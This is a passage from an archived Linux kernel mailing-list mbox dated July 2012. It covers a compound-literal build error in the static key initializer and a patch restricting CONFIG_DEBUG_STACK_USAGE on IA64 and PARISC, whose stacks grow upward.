but not all of them.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mgorman@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Wed, 25 Jul 2012 09:27:32 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20120725082732.GZ9222@suse.de>
References: <20120722163058.GB13376@localhost>
 <20120723111619.GT9222@suse.de>
 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
 <20120723122905.GA22476@localhost>
 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
 <20120724074844.GA9519@localhost>
 <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: dough.gmane.org 1343204868 12939 80.91.229.3 (25 Jul 2012 08:27:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2012 08:27:48 +0000 (UTC)
Cc: Fengguang Wu <fengguang.wu@intel.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 25 10:27:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Stwwb-00065j-8W
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Jul 2012 10:27:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932753Ab2GYI1o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Jul 2012 04:27:44 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:59393 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932748Ab2GYI1l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Jul 2012 04:27:41 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id E8806A329E;
	Wed, 25 Jul 2012 10:27:36 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4509 gmane.linux.kernel.janitors:25204 gmane.linux.kernel:1332812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4509>

On Tue, Jul 24, 2012 at 05:08:04PM -0400, John David Anglin wrote:
> On 24-Jul-12, at 3:48 AM, Fengguang Wu wrote:
> 
> >Here is the line in sock.i:
> >
> >struct static_key memalloc_socks = ((struct static_key) { .enabled
> >= ((atomic_t) { (0) }) });
> 
> 
> The above line contains two compound literals.  It also uses a
> designated initializer
> to initialize the field enabled.  A compound literal is not a
> constant expression.
> 
> The location of the above statement isn't fully clear, but if a
> compound literal occurs
> outside the body of a function, the initializer list must consist of
> constant expressions.
> 
> Removing "(atomic_t)" from the define results in a constant expression.
> 
> Test case:
> 
> typedef struct { long enabled; } atomic_t;
> struct static_key { atomic_t enabled; int x; };
> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> ((atomic_t) { (0) }) });
> 

Thanks John for that explanation, it clears it up. The source of the
above line was linux-next/master:net/core/sock.c due to some patches I
merged. The exact line looks like this

struct static_key memalloc_socks = STATIC_KEY_INIT_FALSE;

and that thing in turns looks like

#define STATIC_KEY_INIT_FALSE ((struct static_key) \
        { .enabled = ATOMIC_INIT(0), .entries = (void *)0 })

This is a standard use of a static key (http://lwn.net/Articles/487426/)
and as I expect there will be more use of this feature in the future
it's good to get it fixed up first.

Thanks James for picking this up and putting a changelog on it.

-- 
Mel Gorman
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: RE: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Wed, 25 Jul 2012 18:23:01 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F19371120@ORSMSX104.amr.corp.intel.com>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
	 <20120725074501.GB27950@gmail.com> <1343203348.3139.16.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1343240592 30835 80.91.229.3 (25 Jul 2012 18:23:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2012 18:23:12 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Ingo Molnar <mingo@elte.hu>, Helge Deller <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"Wu, Fengguang" <fengguang.wu@intel.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jul 25 20:23:10 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1Su6Ek-0004pd-FW
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 25 Jul 2012 20:23:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752507Ab2GYSXE (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 25 Jul 2012 14:23:04 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:63231 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752423Ab2GYSXD (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Wed, 25 Jul 2012 14:23:03 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 25 Jul 2012 11:23:02 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.67,352,1309762800"; 
   d="scan'208";a="171371454"
Original-Received: from orsmsx603.amr.corp.intel.com ([10.22.226.49])
  by orsmga001.jf.intel.com with ESMTP; 25 Jul 2012 11:23:02 -0700
Original-Received: from orsmsx102.amr.corp.intel.com (10.22.225.129) by
 orsmsx603.amr.corp.intel.com (10.22.226.49) with Microsoft SMTP Server (TLS)
 id 8.2.255.0; Wed, 25 Jul 2012 11:23:01 -0700
Original-Received: from orsmsx104.amr.corp.intel.com ([169.254.3.210]) by
 ORSMSX102.amr.corp.intel.com ([169.254.1.166]) with mapi id 14.01.0355.002;
 Wed, 25 Jul 2012 11:23:01 -0700
Thread-Topic: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on
 IA64 or PARISC
Thread-Index: AQHNajlvcu1EraYsb06urUq7jiT5f5c6GJAAgAA1z4A=
In-Reply-To: <1343203348.3139.16.camel@dabdike>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.22.254.139]
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22348 gmane.linux.kernel:1333198 gmane.linux.ports.parisc:4510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22348>

PiBTaW5jZSB0aGUgcHJvYmxlbSBpcyBhbiBpbnZhbGlkIGFzc3VtcHRpb24gYWJvdXQgaG93IHRo
ZSBzdGFjayBncm93cywNCj4gd2h5IG5vdCBqdXN0IGNvbmRpdGlvbiBpdCBvbiB0aGF0LiAgV2Ug
YWN0dWFsbHkgaGF2ZSBhIGNvbmZpZyBvcHRpb24gZm9yDQo+IHRoaXM6IENPTkZJR19TVEFDS19H
Uk9XU1VQLiAgQnV0IGZvciBzb21lIHJlYXNvbiBpYTY0IGRvZXNuJ3QgZGVmaW5lDQo+IHRoaXMs
IHdoeSBub3QsIFRvbnk/ICBJdCBsb29rcyBkZWxpYmVyYXRlIGJlY2F1c2UgeW91IGhhdmUgcmVw
bGFjZWQgYQ0KPiBsb3Qgb2YNCj4NCj4gI2lmZGVmIENPTkZJR19TVEFDS19HUk9XU1VQDQo+DQo+
IHdpdGgNCj4NCj4gI2lmIGRlZmluZWQoQ09ORklHX1NUQUNLX0dST1dTVVApIHx8IGRlZmluZWQo
Q09ORklHX0lBNjQpDQo+DQo+IGJ1dCBub3QgYWxsIG9mIHRoZW0uDQoNCmlhNjQgaXMgc3BlY2lh
bCAtIHdlIGhhdmUgc3RhY2tzIHRoYXQgZ3JvdyBib3RoIHVwd2FyZHMgYW5kIGRvd253YXJkcyEN
Cg0KVGhlIHR5cGljYWwgIkMiIHN0YWNrIGZvciBsb2NhbCBmdW5jdGlvbiB2YXJpYWJsZXMgdGhh
dCBuZWVkIHRvIGJlIGFsbG9jYXRlZCBpbg0KbWVtb3J5IChhcnJheXMsIHN0cnVjdHVyZXMsIHRo
aW5ncyB3ZSB0YWtlIHRoZSBhZGRyZXNzIG9mLCB0aGluZ3MgdGhhdCBqdXN0DQpkb24ndCBmaXQg
YmVjYXVzZSB3ZSBydW4gb3V0IG9mIHJlZ2lzdGVycykgZ3Jvd3MgZG93bndhcmRzLiBCdXQgbG9j
YWwNCnZhcmlhYmxlcyBhc3NpZ25lZCB0byByZWdpc3RlcnMgZ2V0IHF1aWV0bHkgc2F2ZWQgYXdh
eSB0byBhbiB1cHdhcmRzIGdyb3dpbmcNCnN0YWNrIGJ5IHRoZSByZWdpc3RlciBzdGFjayBlbmdp
bmUgKHdvcmtpbmcgc29tZXdoYXQgYXN5bmNocm9ub3VzbHkgZnJvbQ0KdGhlIGNwdSkubA0KDQot
VG9ueQ0K
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ia64
Subject: Re: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Thu, 26 Jul 2012 14:01:22 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <20120726120122.GA24672@gmail.com>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
 <20120725074501.GB27950@gmail.com>
 <1343203348.3139.16.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1343304104 28855 80.91.229.3 (26 Jul 2012 12:01:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2012 12:01:44 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, linux-kernel@vger.kernel.org,
	Ingo Molnar <mingo@elte.hu>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, linux-ia64@vger.kernel.org,
	Fengguang Wu <fengguang.wu@intel.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 14:01:42 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SuMlB-0004Hq-LO
	for glk-linux-kernel-3@plane.gmane.org; Thu, 26 Jul 2012 14:01:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752850Ab2GZMBb (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 26 Jul 2012 08:01:31 -0400
Original-Received: from mail-wi0-f170.google.com ([209.85.212.170]:47493 "EHLO
	mail-wi0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752268Ab2GZMB3 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 26 Jul 2012 08:01:29 -0400
Original-Received: by wibhq12 with SMTP id hq12so5369562wib.1
        for <multiple recipients>; Thu, 26 Jul 2012 05:01:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=vQyRLn8bdrjgJcGo+6d1omtyEAHwGc2FxslsC3ckf+o=;
        b=NyiNFcY3/soGH/5us/awe6KfaFBuNszLtgXjHh7lYimiJgG0LXV3NtMxEulTpKM16n
         5aSaltbk4sGG8GuqUK8KTtooSDlQCfo6n74xRnb/yV7cXZQM+ubBN1jG4SBz9ciGjSo4
         /AfeV+yKoc1UhPN6LHUuaBKKlBLGeFimvXUviT+1MwuZSk6TTgnc8mdiV0IovdwQXRw4
         r2LIAHxX0ZTB4nsEErMkQ8zaSw0I8pJjjBWWrwcrnfN+q5t6FV+K/T7yjUSOiQ7VfBV3
         uCi9+RMLgTIQQso9Qo40g0y4dEAApJAdhUMvzAuzjJ6fSbOGQ59J+qUUw1LKi2K60bFk
         eu8A==
Original-Received: by 10.180.78.4 with SMTP id x4mr12896882wiw.19.1343304087470;
        Thu, 26 Jul 2012 05:01:27 -0700 (PDT)
Original-Received: from gmail.com (54033750.catv.pool.telekom.hu. [84.3.55.80])
        by mx.google.com with ESMTPS id ep14sm8350399wid.0.2012.07.26.05.01.24
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 26 Jul 2012 05:01:25 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1343203348.3139.16.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1333606 gmane.linux.ports.parisc:4512 gmane.linux.ports.ia64:22352
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1333606>


* James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Wed, 2012-07-25 at 09:45 +0200, Ingo Molnar wrote:
> > * Tony Luck <tony.luck@intel.com> wrote:
> > 
> > > The stack_not_used() function in <linux/sched.h> assumes that stacks
> > > grow downwards. This is not true on IA64 or PARISC, so this function
> > > would walk off in the wrong direction and into the weeds.
> > > 
> > > Found on IA64 because of a compilation failure with recursive dependencies
> > > on IA64_TASKSIZE and IA64_THREAD_INFO_SIZE.
> > > 
> > > Fixing the code is possible, but should be combined with other
> > > infrastructure additions to set up the "canary" at the end of the stack.
> > > 
> > > Reported-by: Fengguang Wu <fengguang.wu@intel.com> (failed allmodconfig build)
> > > Signed-off-by: Tony Luck <tony.luck@intel.com>
> > > ---
> > >  lib/Kconfig.debug | 2 +-
> > >  1 file changed, 1 insertion(+), 1 deletion(-)
> > > 
> > > diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> > > index ff5bdee..4a18650 100644
> > > --- a/lib/Kconfig.debug
> > > +++ b/lib/Kconfig.debug
> > > @@ -714,7 +714,7 @@ config STACKTRACE
> > >  
> > >  config DEBUG_STACK_USAGE
> > >  	bool "Stack utilization instrumentation"
> > > -	depends on DEBUG_KERNEL
> > > +	depends on DEBUG_KERNEL && !IA64 && !PARISC
> > 
> > The modern way of doing this is by adding an ARCH_SUPPORTS_ 
> > flag.
> 
> That's a bit daft, isn't it? [...]

It's generally more maintainable than a random list of 
architecture exclusions because every (old or new) architecture 
can just grep for ARCH_SUPPORTS_ pattern and see whether they 
support everything that others support.

The above exclusion list of architectures is much harder to find 
in a structured way.

> [...]  We'd have to add ARCH_SUPPORTS_ flags to about 25 
> separate architectures just to get it not supported on these 
> two.

That is one off overhead and it makes things easier to maintain 
going forward.

Anyway, that's the current upstream technique and it's been in 
place for years.

> Since the problem is an invalid assumption about how the stack 
> grows, why not just condition it on that.  We actually have a 
> config option for this: CONFIG_STACK_GROWSUP.  But for some 
> reason ia64 doesn't define this, why not, Tony?  It looks 
> deliberate because you have replaced a lot of
> 
> #ifdef CONFIG_STACK_GROWSUP
> 
> with
> 
> #if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
> 
> but not all of them.

Yes, that's another possible solution, assuming that it's really 
only about the up/down difference.

Thanks,

	Ingo

From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tony Luck <tony.luck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Thu, 26 Jul 2012 10:06:41 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
References: <20120722163058.GB13376@localhost>
	<20120723111619.GT9222@suse.de>
	<1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
	<20120723114258.GV9222@suse.de>
	<20120723122905.GA22476@localhost>
	<BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
	<20120724074844.GA9519@localhost>
	<BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
	<1343193053.3139.6.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1343322419 27099 80.91.229.3 (26 Jul 2012 17:06:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2012 17:06:59 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Fengguang Wu <fengguang.wu@intel.com>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 19:06:57 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SuRWX-0007oW-Tg
	for glk-linux-kernel-3@plane.gmane.org; Thu, 26 Jul 2012 19:06:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752765Ab2GZRGq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 26 Jul 2012 13:06:46 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:55806 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752545Ab2GZRGo (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 26 Jul 2012 13:06:44 -0400
Original-Received: by wgbdr13 with SMTP id dr13so2005962wgb.1
        for <multiple recipients>; Thu, 26 Jul 2012 10:06:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=vJlTKf3PPGAjmp+CLSPrp+IW9wL9TB18WdWel8ZxgcE=;
        b=JPrYefOzMMf0vFoQTbf5OozvrY2r0FCdzb0JrZ1FNleYdAj1T0w+za4lIivBCsD3uA
         oii0bFQIfHLiHxTC3gjS2+BjTD7iFY1lV81CNdv5ro/tuHqfAOp7vNeJbCdV0Zoty6pY
         /uOjKFi/TCTHFRwgVGYb7hFNmbUTV2BUhSOyI/q5Ko6w1LYO30aFrXec43T+I0TOW31W
         AQnkFAbJ9vpOYu4cnJPy7dmptBRU401Yfl31jm7vdWYfcyekBGGeRlPLssuCmtXSJPov
         S5v1EbY/fNdlg01VY1PaNGsXzRbDY1kfJEl+fre8VNpya4OicC31/E6C2GB5UIcyoCxs
         Lb7w==
Original-Received: by 10.216.138.13 with SMTP id z13mr14406477wei.65.1343322401149;
 Thu, 26 Jul 2012 10:06:41 -0700 (PDT)
Original-Received: by 10.216.70.142 with HTTP; Thu, 26 Jul 2012 10:06:41 -0700 (PDT)
In-Reply-To: <1343193053.3139.6.camel@dabdike>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1333796 gmane.linux.kernel.janitors:25210 gmane.linux.ports.parisc:4513
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1333796>

On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>> Here is the line in sock.i:
>>
>> struct static_key memalloc_socks = ((struct static_key) { .enabled =
>> ((atomic_t) { (0) }) });
>
> The above line contains two compound literals.  It also uses a designated
> initializer to initialize the field enabled.  A compound literal is not a
> constant expression.

Seeing the same thing on ia64 building next-20120726.  Same fix works
for me ... so I'll steal this whole changelog and attributes.

-Tony

From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Chubb <peter.chubb@nicta.com.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64 or PARISC
Date: Fri, 27 Jul 2012 08:17:50 +1000
Organization: NICTA
Lines: 36
Approved: news@gmane.org
Message-ID: <w4k3xq9ng1.wl%peter@chubb.wattle.id.au>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
	<20120725074501.GB27950@gmail.com>
	<1343203348.3139.16.camel@dabdike>
	<20120726120122.GA24672@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: dough.gmane.org 1343342830 23922 80.91.229.3 (26 Jul 2012 22:47:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2012 22:47:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Tony Luck <tony.luck@intel.com>, linux-kernel@vger.kernel.org,
	Ingo Molnar <mingo@elte.hu>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, linux-ia64@vger.kernel.org,
	Fengguang Wu <fengguang.wu@intel.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Jul 27 00:47:05 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1SuWpf-0003b3-GO
	for glpi-linux-ia64-2@plane.gmane.org; Fri, 27 Jul 2012 00:46:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752812Ab2GZWqM (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Thu, 26 Jul 2012 18:46:12 -0400
Original-Received: from lemon.ertos.nicta.com.au ([203.143.174.143]:47346 "EHLO
	lemon.ken.nicta.com.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752662Ab2GZWqL (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Thu, 26 Jul 2012 18:46:11 -0400
X-Greylist: delayed 1666 seconds by postgrey-1.27 at vger.kernel.org; Thu, 26 Jul 2012 18:46:11 EDT
Original-Received: from [2001:388:d000:800:224:d7ff:feaf:390] (port=55226 helo=Diprotodon.chubb.wattle.id.au)
	by lemon.ken.nicta.com.au with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <peter.chubb@nicta.com.au>)
	id 1SuWNW-0005u5-7N; Fri, 27 Jul 2012 08:18:01 +1000
In-Reply-To: <20120726120122.GA24672@gmail.com>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/23.4
 (x86_64-pc-linux-gnu) MULE/6.0 (HANACHIRUSATO)
X-Face: GgFg(Z>fx((4\32hvXq<)|jndSniCH~~$D)Ka:P@e@JR1P%Vr}EwUdfwf-4j\rUs#JR{'h#
 !]])6%Jh~b$VA|ALhnpPiHu[-x~@<"@Iv&|%R)Fq[[,(&Z'O)Q)xCqe1\M[F8#9l8~}#u$S$Rm`S9%
 \'T@`:&8>Sb*c5d'=eDYI&GF`+t[LfDH="MP5rwOO]w>ALi7'=QJHz&y&C&TE_3j!
X-SA-Exim-Connect-IP: 2001:388:d000:800:224:d7ff:feaf:390
X-SA-Exim-Mail-From: peter.chubb@nicta.com.au
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on
	lemon.ken.nicta.com.au
X-Spam-Level: 
X-Spam-Status: No, score=-2.9 required=5.0 tests=ALL_TRUSTED,BAYES_00
	autolearn=ham version=3.3.2
X-SA-Exim-Version: 4.2.1 (built Mon, 22 Mar 2010 06:52:44 +0000)
X-SA-Exim-Scanned: Yes (on lemon.ken.nicta.com.au)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22353 gmane.linux.kernel:1334006 gmane.linux.ports.parisc:4514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22353>

>>>>> "Ingo" == Ingo Molnar <mingo@kernel.org> writes:

Ingo> * James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
>> Since the problem is an invalid assumption about how the stack
>> grows, why not just condition it on that.  We actually have a
>> config option for this: CONFIG_STACK_GROWSUP.  But for some reason
>> ia64 doesn't define this, why not, Tony?  It looks deliberate
>> because you have replaced a lot of
>> 
>> #ifdef CONFIG_STACK_GROWSUP
>> 
>> with
>> 
>> #if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
>> 
>> but not all of them.

Ingo> Yes, that's another possible solution, assuming that it's really
Ingo> only about the up/down difference.

Ingo> Thanks,

IA64 has two stacks -- the standard one, that grows down, and the
register stack engine backing store, that grows up.  The usual
mechanisms for stack growth are used, so only some of the bits
predicated on `STACK_GROWSUP' are useful.

Peter C
--
